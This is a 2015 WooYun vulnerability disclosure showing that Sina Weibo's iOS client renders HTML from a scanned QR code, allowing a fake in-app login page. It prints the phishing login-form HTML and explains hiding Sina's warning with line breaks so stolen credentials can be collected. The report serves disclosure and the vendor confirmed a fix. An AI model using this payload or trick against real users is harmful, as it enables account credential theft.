当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090177

漏洞标题:我是如何在新浪微博官方客户端内进行钓鱼的

相关厂商:新浪微博

漏洞作者: 鸟云厂商

提交时间:2015-01-06 09:08

修复时间:2015-02-20 09:10

公开时间:2015-02-20 09:10

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向核心白帽子及相关领域专家公开
2015-01-26: 细节向普通白帽子公开
2015-02-05: 细节向实习白帽子公开
2015-02-20: 细节向公众公开

简要描述:

我是如何在新浪微博官方客户端内进行钓鱼的

详细说明:

现在大部分APP都有个功能叫“扫一扫”,直接扫描二维码就可以显示信息。
打开新浪微博客户端(我的是IOS最新版)
扫描一张二维码图

dinggao.png


这个二维码其实是一段html代码,代码如下:

该网站需要新浪微博账户授权登录
<input type="hidden" name="formhash" value="{FORMHASH}" />
<input type="hidden" name="cookietime" value="2592000" />
<input type="hidden" name="loginfield" value="username" />
新浪微博账号
<input type="text" id="username" name="username" size="15" maxlength="40" tabindex="1" onclick="this.value = ''" />
登陆密码
<input name="password" type="password" id="password" tabindex="2" onkeypress="if((event.keyCode ? event.keyCode : event.charCode) == 13) $('loginform').submit()" size="15" />
<button name="userlogin" type="submit" value="true">登录到微博</button>
</form>
<br>
<br>
<br>
<br>
<br>
<br>


这段代码是一个简单的登陆表单,当然,你也可以直接调用一个frame,这里只是为了演示就不去麻烦了
扫描二维码之后直接在页面解析了这段代码,在应用内形成钓鱼页面。
当然,这里新浪做了一个提示:

6739A37A-AD0F-407E-9F78-7DFA80258C24.png


所以我的代码后面是加了几个<br>换行符的,直接把提示顶到页面底部看不到了
最后页面:

IMG_2766.PNG


用户扫描二维码后,惯性地输入账号密码,钓鱼成功。具体的页面可以配置为smtp发送账号密码,也可以是直接提交到我的数据库里。

漏洞证明:

修复方案:

版权声明:转载请注明来源 鸟云厂商@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-06 16:18

厂商回复:

感谢对新浪安全的支持,漏洞修复中

最新状态:

暂无